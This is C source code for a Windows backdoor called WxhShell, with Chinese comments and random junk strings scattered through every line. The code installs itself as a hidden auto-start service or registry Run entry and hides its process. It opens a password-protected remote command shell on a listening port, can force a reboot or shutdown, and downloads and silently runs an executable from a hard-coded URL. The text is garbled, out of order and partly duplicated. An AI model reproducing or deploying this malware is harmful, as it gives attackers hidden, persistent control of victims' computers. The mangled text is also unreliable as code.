= (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UovN"8W+ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ?u2\*@C e^*&& if (!NtQueryInformationProcess) return 0; 7z$53z 'Qt[cW hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $x }R2 if(!hProcess) return 0; { 5 r]G /'8%=$2Kw if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /[ m7~B]QE qD%88c)g CloseHandle(hProcess); n_{&dVE uyEk1)HC hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); QV."ZhL5 = if(hProcess==NULL) return 0; 9z4F/tUq Pac ^=|h<q HMODULE hMod; h HHR]e5: char procName[255]; ,%Z&*/*Oh unsigned long cbNeeded; "L5w]6C4 r Hq1%)B if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); $l)RMP} {#+K+!SvDX CloseHandle(hProcess); G9xl-ag+z iAe"oXK| if(strstr(procName,"services")) return 1; // 以服务启动 #TUm&2 +V SkV pZh return 0; // 注册表启动 vgc~%k62c } Yjo$vQi <nJGJ5JJ // 主模块 QH><!
sa int StartWxhshell(LPSTR lpCmdLine) VP< zOk7 { 6MOwn*%5k SOCKET wsl; ecm+33C BOOL val=TRUE;
C2LG@iCIE int port=0; iOm&(2/ struct sockaddr_in door; 3T(ft^~ !_Y%+Rkp0 if(wscfg.ws_autoins) Install(); &=t~_ Dc MZVbOcSAd port=atoi(lpCmdLine); bBINjs8C_ ~~Cd9Hzi if(port<=0) port=wscfg.ws_port; +Q"s!\5 &K!0yR WSADATA data; _&(Wz0 if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8r}tf3xMCM %^W(sB$b if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; \aSc2Ml]3n setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val));
6!)hl" door.sin_family = AF_INET; $
^)g, door.sin_addr.s_addr = inet_addr("127.0.0.1"); 0Runex[ door.sin_port = htons(port); atZNX1LD[/ h_X'O3r if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ,6y.wNb :F closesocket(wsl); FXk*zXn6 return 1; v+EJ
$ } Y".?j5f? F+c8
O if(listen(wsl,2) == INVALID_SOCKET) { %Lx#7bR U closesocket(wsl); Bph(\=
W return 1; rG-x 3>b } bPV}T` Wxhshell(wsl); =Q;dYx%I5 WSACleanup(); :V"e+I %eF=;q return 0; LB7$&.m'B &%3}'&EBv } T#E,^|WEk M+-odLltw // 以NT服务方式启动 `-s]dq VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) |@rf#,hTDp { XwIHIG} DWORD status = 0; rU>l(O'b DWORD specificError = 0xfffffff; _ y'g11 \
;|= 5)KE serviceStatus.dwServiceType = SERVICE_WIN32; (CDh,ZN;| serviceStatus.dwCurrentState = SERVICE_START_PENDING; =sAOWI,8! serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7F]oK0l_ serviceStatus.dwWin32ExitCode = 0; -iy17$ serviceStatus.dwServiceSpecificExitCode = 0; }K.)yv n serviceStatus.dwCheckPoint = 0; P2>_qyX serviceStatus.dwWaitHint = 0; cgcU2N6y; 9R+ qw hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); varaBFD if (hServiceStatusHandle==0) return; 1h]nE/T.O ).Z
U0fV status = GetLastError(); f U<<GK70 if (status!=NO_ERROR) % T$!I (L& { *ax&}AHK[/ serviceStatus.dwCurrentState = SERVICE_STOPPED; }uD*\. serviceStatus.dwCheckPoint = 0; ZDK+>^A) serviceStatus.dwWaitHint = 0; FKtCUq,: serviceStatus.dwWin32ExitCode = status; L.9@rwfI serviceStatus.dwServiceSpecificExitCode = specificError; <@>icDFEHn SetServiceStatus(hServiceStatusHandle, &serviceStatus); gBgaVG return; G #$r)S } tR=1.M96Y =?M{B1;H serviceStatus.dwCurrentState = SERVICE_RUNNING; ?YFSK serviceStatus.dwCheckPoint = 0; W'zI~'K serviceStatus.dwWaitHint = 0; Fyz1LOH[X if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); FLumI-se! } 8N<2RT8W .4z_ohe // 处理NT服务事件,比如:启动、停止 ^6UE/4x!y VOID WINAPI NTServiceHandler(DWORD fdwControl) d<_IC7$u> { {- &wV switch(fdwControl) 2j^8{Agz { IjPtJwW`A case SERVICE_CONTROL_STOP: QF.M%she+ serviceStatus.dwWin32ExitCode = 0; WD8F]+2O\ serviceStatus.dwCurrentState = SERVICE_STOPPED; jTsQsHq serviceStatus.dwCheckPoint = 0; Urm(A9|N serviceStatus.dwWaitHint = 0; RLVz "= { hs)_h^P
SetServiceStatus(hServiceStatusHandle, &serviceStatus); d~CZ9h } :Mu]*N return; p?s[I)e case SERVICE_CONTROL_PAUSE: `cmzmQC serviceStatus.dwCurrentState = SERVICE_PAUSED; s|Vbc@t break; Y0Rk:Njc case SERVICE_CONTROL_CONTINUE: St3/mDtH serviceStatus.dwCurrentState = SERVICE_RUNNING; !J}Q%i break; {us#(4O case SERVICE_CONTROL_INTERROGATE: 9Kc;]2m break; qaBL }; DRu#vC SetServiceStatus(hServiceStatusHandle, &serviceStatus); Gd2t^tc } b9l%5a !5zj+N // 标准应用程序主函数 \S#![NC int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Q=498Y~x { ynq^ztBVe l5Q-M{w0x // 获取操作系统版本 d?GB#N|+g OsIsNt=GetOsVer(); covK6SH GetModuleFileName(NULL,ExeFile,MAX_PATH); y $>U[^G[ 5F5)Bh // 从命令行安装 Dv BRK}' if(strpbrk(lpCmdLine,"iI")) Install(); dJ,,yA* =W'{xG} // 下载执行文件 y(6*)~Dh if(wscfg.ws_downexe) { h"$],= if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {@67'jL WinExec(wscfg.ws_filenam,SW_HIDE); PAjH*5IA } 0e~4(2xK Q$S|L C if(!OsIsNt) { RZ9chTX/ // 如果时win9x,隐藏进程并且设置为注册表启动 qAVZ&:# HideProc(); Z&Z=24q_ StartWxhshell(lpCmdLine); w"FBJULzn9 } FHyyZ{" else :W}M$5 | if(StartFromService()) X|pOw," // 以服务方式启动 3Yf!H-(\uB StartServiceCtrlDispatcher(DispatchTable); S4>1 d- else K1|xatx1V // 普通方式启动 ?wj1t!83 StartWxhshell(lpCmdLine); L%[b6< &_<!zJ;Hn return 0; I#:4H2H6 } -*0U&]T `< cn iFB {a?BE vt2A/9_Z% =========================================== ~&8bVA= . sG k'G573 uKpWb1( OR-fC /U,;]^ \QMRuR. " mT#ebeBaf >}!})]Xw9 #include <stdio.h> D"GQlR #include <string.h> ,wH]|`w #include <windows.h>
5wy3C #include <winsock2.h> $r/tVu2!W #include <winsvc.h> +J(@. #include <urlmon.h> t8z=R6zX (Q][d+} / #pragma comment (lib, "Ws2_32.lib") &6#Ft]6~ #pragma comment (lib, "urlmon.lib") S5xum_Dq NR0fxh #define MAX_USER 100 // 最大客户端连接数 8\_ YP3 #define BUF_SOCK 200 // sock buffer #bdSH)V #define KEY_BUFF 255 // 输入 buffer -ZE]VO*F [<A|\d'x #define REBOOT 0 // 重启 nG !6[^D #define SHUTDOWN 1 // 关机 }SBpc{ch ^@n?& #define DEF_PORT 5000 // 监听端口 bZzB\FB~ _(J/$D #define REG_LEN 16 // 注册表键长度 )Vnqz
lI5 #define SVC_LEN 80 // NT服务名长度 2:Q2w3Xe tG(!d$^ // 从dll定义API )Uu! x6 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )_Wo6l)i typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); VF] ~J=>i typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); u(g0Ob typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); t73" d#+ M"<B@p]rk: // wxhshell配置信息 u8i!Fxu struct WSCFG { ^|ln q.j int ws_port; // 监听端口 4 .d~u@= char ws_passstr[REG_LEN]; // 口令 DmpG35Jk int ws_autoins; // 安装标记, 1=yes 0=no hy{1 Ea/T char ws_regname[REG_LEN]; // 注册表键名 7!%xJ! char ws_svcname[REG_LEN]; // 服务名 X) xeq
char ws_svcdisp[SVC_LEN]; // 服务显示名 4n,>EA85 char ws_svcdesc[SVC_LEN]; // 服务描述信息 q, XRb char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;-!j,V+$h int ws_downexe; // 下载执行标记, 1=yes 0=no I<^&~== char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" %cFqD
& 6 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 O7D61~G] ;dE'# Kb }; ;ax%H @o z)U/bjf // default Wxhshell configuration Y>2kOE struct WSCFG wscfg={DEF_PORT, Yl0_?.1 z "xuhuanlingzhe",
]pP: 1, <WRrB
`nO "Wxhshell", G [$u`mxV^ "Wxhshell", W"*~1$vf "WxhShell Service", y?@(%PTp "Wrsky Windows CmdShell Service", Rx%SeM2 "Please Input Your Password: ", 2qxede 1, [$AOu0J "http://www.wrsky.com/wxhshell.exe", c&a.<e3mL "Wxhshell.exe" '\I!RAZ }; :FqHMN QC^#ns& // 消息定义模块 b'$fr6"O1 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; y=spD^tM8 char *msg_ws_prompt="\n\r? for help\n\r#>"; RDWUy(iX char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 5x/LHsr=m char *msg_ws_ext="\n\rExit."; yEB1gYJB char *msg_ws_end="\n\rQuit."; 5T- N\)@ char *msg_ws_boot="\n\rReboot..."; "0]s|ys6< char *msg_ws_poff="\n\rShutdown..."; U+wfq%Fz char *msg_ws_down="\n\rSave to "; 3C7}V{? {Jn*{5tZ> char *msg_ws_err="\n\rErr!"; (n0h#% char *msg_ws_ok="\n\rOK!"; N!iugGL !au%D?w char ExeFile[MAX_PATH]; bL9vjD'} int nUser = 0; qGrUS_~q* HANDLE handles[MAX_USER]; m6
@,J?X int OsIsNt; ]p5]n*0X 1'Y7h;\~\ SERVICE_STATUS serviceStatus; "{"745H5 SERVICE_STATUS_HANDLE hServiceStatusHandle; 052ezh_ .tH[A[/1 a // 函数声明 ?vr9l7VOi int Install(void); PG*:3![2 int Uninstall(void); |QcE5UC int DownloadFile(char *sURL, SOCKET wsh); %MH!L2| int Boot(int flag); Bq4^nDK void HideProc(void); 9~ JeI / int GetOsVer(void); 0AWOdd>. int Wxhshell(SOCKET wsl); ! uX0G4 void TalkWithClient(void *cs); uEX+j int CmdShell(SOCKET sock); Vnvfu!>( int StartFromService(void); : 7Jpt3 int StartWxhshell(LPSTR lpCmdLine); m(o^9R_=^9 3L1MMUACL VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); CS|al(?~ VOID WINAPI NTServiceHandler( DWORD fdwControl ); R7Z7o4jg Tw0GG8(c // 数据结构和表定义 Oi-=
Fp SERVICE_TABLE_ENTRY DispatchTable[] = %&Q9WMo { `y0u(m5 {wscfg.ws_svcname, NTServiceMain}, [,86||^ {NULL, NULL} '%y5Dh }; :N>n1tHL;A o7=#ye&P // 自我安装 'Vz Yf^ int Install(void) +pG[
[}/ { &@rXt! char svExeFile[MAX_PATH]; Wkj0z]]? HKEY key; $z48~nu@j strcpy(svExeFile,ExeFile);
_CImf1 /*kc|V // 如果是win9x系统,修改注册表设为自启动 B+r$_L&I if(!OsIsNt) { "
.<>(bE if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { -.!+i8d> RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); KbTd`AIL RegCloseKey(key); u/ZV35z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Xdl7'~k RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); [
@ASAhV^+ RegCloseKey(key); /C\tJs return 0; r<9G}9 } )kk10AZV-E } "J"RH:$v } ec3zoKtV else { R>T9 H0 wmB_)`QNP // 如果是NT以上系统,安装为系统服务 "[
#. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Y5z5LG4 if (schSCManager!=0) [!ilcHE) { 5hj
_YqQ7 SC_HANDLE schService = CreateService V:<Z ( 1uco{JX<S schSCManager, 2|\WaH9P wscfg.ws_svcname, TD.t) wscfg.ws_svcdisp, ~i
UG2 4v SERVICE_ALL_ACCESS, T%]@R4z#q SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Pe/8=+qO SERVICE_AUTO_START, Oj8xc!d' SERVICE_ERROR_NORMAL, >UnLq:G svExeFile, p)Fi{%bc NULL, 3<O=,F NULL, g#lMT% NULL, a[=;6! NULL, PS$g*x NULL S{jm4LZ ); ~FnuO!C if (schService!=0) $[0\Th { {J*|)-eAw CloseServiceHandle(schService); h{ T{3 CloseServiceHandle(schSCManager); ijACfl{!:t strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C;0VR strcat(svExeFile,wscfg.ws_svcname); _sAcvKH if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 8lFYk`|g RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); #H;1)G(/ RegCloseKey(key); 3}5Ya\x return 0; :u`gjj$:s } @k9n 0Qe|F } .^8rO,H[ CloseServiceHandle(schSCManager); XwIhD } 7QdboEa } yG2rAG_G& /^$n&gI return 1; D<'G\#n3I= } rN'8,CV J"K(nKXO_? // 自我卸载 .UYhj8 int Uninstall(void) L),r\#Y(v { 5a|{ytP HKEY key; Uf9L*Z'6il nh? JiH
{ if(!OsIsNt) { <6&Z5mpm$w if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]F3fO5Z RegDeleteValue(key,wscfg.ws_regname); eq@-J+ RegCloseKey(key); ujf7r`;u. if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { d^8n RegDeleteValue(key,wscfg.ws_regname); oG\lejO RegCloseKey(key); 3Xm>
3 return 0; Z|xgZG{ } U+[h^M$U } C(vQR~_ } j!"5,~ else { k\Y*tY#2 cNMDI SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bh7hF?c Sj if (schSCManager!=0) 9W&nAr { HGF&'@dn SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); a7aj:.wi if (schService!=0) xT-`dS0u { K{:[0oIHc if(DeleteService(schService)!=0) { 7CwWf CloseServiceHandle(schService); eQ*zi9na CloseServiceHandle(schSCManager); e/x6{~ju^N return 0; VAA="yN }
e ^ZY CloseServiceHandle(schService); F`1J&S;C } }*S`1IWMj CloseServiceHandle(schSCManager); `dhBLAt } 7rG+)kHG } ! F<::fN 4'td6F return 1; \jb62Jp } LI<Emez sFHqLG{/ // 从指定url下载文件 39I|.B" int DownloadFile(char *sURL, SOCKET wsh) u8gqWsvruM { #CcEI HRESULT hr; f4VdH#eng` char seps[]= "/"; z#lIu char *token; ;@
G ^eQ char *file; BAi`{?z$< char myURL[MAX_PATH]; WVz2 b zj char myFILE[MAX_PATH];
^Vf@J pfw`<*e' strcpy(myURL,sURL); D5:|CMQ token=strtok(myURL,seps); vy`
lfbX@ while(token!=NULL) ev4_}! { Nw(hN+_u file=token; Q
pIec\a+ token=strtok(NULL,seps); ]Inu'p\ } <[w5M?n8 M Np4=R GetCurrentDirectory(MAX_PATH,myFILE); %V#MUi1 strcat(myFILE, "\\"); gk;hpO strcat(myFILE, file); &%g$Bi,G send(wsh,myFILE,strlen(myFILE),0); ]68FGH send(wsh,"...",3,0); `jyyRwSoe hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P1)87P if(hr==S_OK) Xk1uCVUe5 return 0; :4\%a4{Ie else 9E Y`j,{4 return 1; M8$eMS1 \En"=)A } w'XN<RWA <L<^uFB // 系统电源模块 Lf%=vd int Boot(int flag) !\'H{,G { $G{j[iLY HANDLE hToken; Xfbr;Jt"< TOKEN_PRIVILEGES tkp; g4YlG"O[~ FBvh7D.hV if(OsIsNt) { o7WAH@g OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 8nL9#b LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); k+*pg4' tkp.PrivilegeCount = 1; ?k($Tc&Q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .lM]>y) AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qkz|r?R) if(flag==REBOOT) { lw99{y3<< if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) *j,bI Y&se return 0; z] -m<#1 } B}. :7,/0 else { <mj/P|P@ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) U OGjil{. return 0; 9Kgyt }
`&h-+ } #sBL E else { mBb3Ta if(flag==REBOOT) { m#i4_F=^b if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WPAUY<6f return 0; "A&A?% } 7Z~JuTIZ else { .MRN)p if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ?1c7wEk return 0; Q672iR\#) } N)Q.P'`N } HFTeG4R e$WAf`* return 1; 1]5k lJ } hN~H8.g GDe,n // win9x进程隐藏模块 8y void HideProc(void) WVhQ?2@ } { 9<toDg_ EJMd[hMhe HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); F$jy~W_ if ( hKernel != NULL ) 5uahfJk { 3e47UquZ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); oXqJypR 2 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ],[<^=| FreeLibrary(hKernel);
(n~fe-?}8 } ::'Y07 maY.Z<lN return; VpAwvMw } X%znNx je2"D7D // 获取操作系统版本 q~5zv4NX int GetOsVer(void) ,H,[)8 { [tJn!cMs OSVERSIONINFO winfo; J Eo;Fx] winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9`
UbsxFl GetVersionEx(&winfo); WcS`T?Xa if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) + 9|0\Q return 1; MBw;+'93qf else tP*GYWI48 return 0; i2(v7Gef } 8#tuB8> O9_1a=M // 客户端句柄模块 QdcuV\B} int Wxhshell(SOCKET wsl) b=\chCRJJ { 3{t[>O; SOCKET wsh; :[(%4se struct sockaddr_in client; C96*,.j~' DWORD myID; pjTJZhT2 I %+,*$wk#* while(nUser<MAX_USER) <%%)C>l { _h \L6. int nSize=sizeof(client); =Hn--DEMg wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?E+f<jol if(wsh==INVALID_SOCKET) return 1; Gos#=H 4r~K`)/S' handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); _izjvg if(handles[nUser]==0) na8`V`77 closesocket(wsh); EmrkaV-?k else hgW1g# nUser++; i/'bpGrQ( } 3h=kn@I WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); U*\K<fw 3imsIBr return 0; czu9a"M>X } 3(t,x qwJp&6 // 关闭 socket ;n*|AL7( void CloseIt(SOCKET wsh) Zr2T^p5u { v&/H6r#E. closesocket(wsh); v6=%KXSF nUser--; MI(#~\Y~P ExitThread(0); Gds(.]_ } 6s~B2t:Y b-#{O=B // 客户端请求句柄 T*0;3&sA void TalkWithClient(void *cs) uI?Z_ { {'wvb
"b *U$]U0M SOCKET wsh=(SOCKET)cs; f sh9-iY8e char pwd[SVC_LEN]; 5XHejHn> char cmd[KEY_BUFF]; BgT ^ char chr[1]; =$gBWS int i,j; 1Hr1Ir<KR xxl|j$m while (nUser < MAX_USER) { 1_f+!
ns# )~R[aXkvY if(wscfg.ws_passstr) { K/N{F\ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); EwV$2AK //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); &@CUxK //ZeroMemory(pwd,KEY_BUFF); "h[)5V{ i=0; %(khE-SW while(i<SVC_LEN) { g&F$hm aAGV\o{^ // 设置超时 <W8%eRfU fd_set FdRead; G93V=Bk= struct timeval TimeOut; j_}:=3 FD_ZERO(&FdRead); 3ddw'b'aQ FD_SET(wsh,&FdRead); YzG?K0O% TimeOut.tv_sec=8; 8+gp"!E TimeOut.tv_usec=0; w8Z#]kRv int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); )mwwceN if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ;K8}Yq9p9 G[ #R 1' if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hLZfArq} pwd=chr[0]; l#^?sbG if(chr[0]==0xd || chr[0]==0xa) { _p1!8*0] pwd=0; D-C]0Jf3 break; }1k?t h } +<p&Va# i++; \rUKP""m } GU/P%c/V ?32~%?m // 如果是非法用户,关闭 socket &gS-.{w " if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); VUUnB<j } %SIll 4<UAT|L^` send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OZf@cOTWK send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Uq'W<.v5 vO9=CCxvq while(1) { '9.@r\g JSju4TQ4 ZeroMemory(cmd,KEY_BUFF); 6g#yzex (#>X*~6 // 自动支持客户端 telnet标准 J`[jub j=0; )O+Zbn while(j<KEY_BUFF) { p>?(uGV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); = )3\B cmd[j]=chr[0]; .K4)#oC if(chr[0]==0xa || chr[0]==0xd) { 7@gH{p1 cmd[j]=0; U%@C<o
" break; d\3 %5Y } [+b8
!'|& j++; [75?cQD } 9@"pR;X@ 4Lk<5Ho // 下载文件 cjGN=|`u if(strstr(cmd,"http://")) { uc"%uc' send(wsh,msg_ws_down,strlen(msg_ws_down),0); @ls/3`E/5E if(DownloadFile(cmd,wsh)) 9\Ff z& send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y$,~"$su| else ^.@%n1I"5y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z6Mjc/ } (
6zu*H) else { JBc*m C]JK'K<7- switch(cmd[0]) { "R)n1,0 Ex]Ku // 帮助 ~AaEa,LQ case '?': { zXlerQWUv send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b[:m[^ break; WB'1_a } ydY(*] // 安装 s 8K.A~5 w case 'i': { WZ!zUUp}V if(Install()) /L(}VJg- send(wsh,msg_ws_err,strlen(msg_ws_err),0); -Mrt%1g else (#85<|z send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /!>OWh*~ break; RRQv<x } M?P\ YAn$ // 卸载 tD#) case 'r': { mb3aUFxA; if(Uninstall()) N5K2Hv<" send(wsh,msg_ws_err,strlen(msg_ws_err),0); {!?M!/d else ~9k E. send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `?l
/HUw break; rk;]7Wu } T]/> c // 显示 wxhshell 所在路径 EAWBgOO8iC case 'p': { ZO<\rX ( char svExeFile[MAX_PATH]; Vz-q7*o$S strcpy(svExeFile,"\n\r"); !L9]nO 'BL strcat(svExeFile,ExeFile); 6v%ePFul send(wsh,svExeFile,strlen(svExeFile),0); Gi@c`lRd1 break; hiV!/}'7 } T <k;^iqR // 重启 y.8nzlkE{ case 'b': { e_!Z-#\J% send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a\,V>}e if(Boot(REBOOT)) e~'z;%O~ send(wsh,msg_ws_err,strlen(msg_ws_err),0); \C>vj+!cJ else { Q3bU"f closesocket(wsh); 1.8"N&s ExitThread(0); f2Xn !]o } Xnh&Kyz`v break; DYIp2-K } <:nyRy} // 关机 `0_
Y| 4KB case 'd': { %2\Pe 2Z send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !:esdJH if(Boot(SHUTDOWN)) "s zJ[
_B send(wsh,msg_ws_err,strlen(msg_ws_err),0); :w|=o9J else { =;I+:K closesocket(wsh); -,g.39u ExitThread(0); /yx)_x{ } N.nGez break; EASmB
} 4eSFpy1 // 获取shell )~nieQEZQ case 's': { ]WcN6|b+ CmdShell(wsh); f4d-eXGwx` closesocket(wsh); vE#8&Zq ExitThread(0); \K%M.>]vq break; ^Ojg}'.Ygv } /e|qyWs // 退出 X+,0;% p case 'x': { jpW_q+^? send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); +NvpYz CloseIt(wsh); Tj<B;f!u break; }o[<1+W(. } rb'mFqg*u // 离开 QSM3qke case 'q': { 9^Web~yi# send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,PJC FQMR closesocket(wsh); R@_3?Z!W= WSACleanup(); P-8QXDdr exit(1); Vwjic2lGI break; 7ju38@+ } UH\{:@GjNO } 31e
O2|7 } i`vy<Dvpz Lh.-*H // 提示信息 b9-3 if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \M0's& |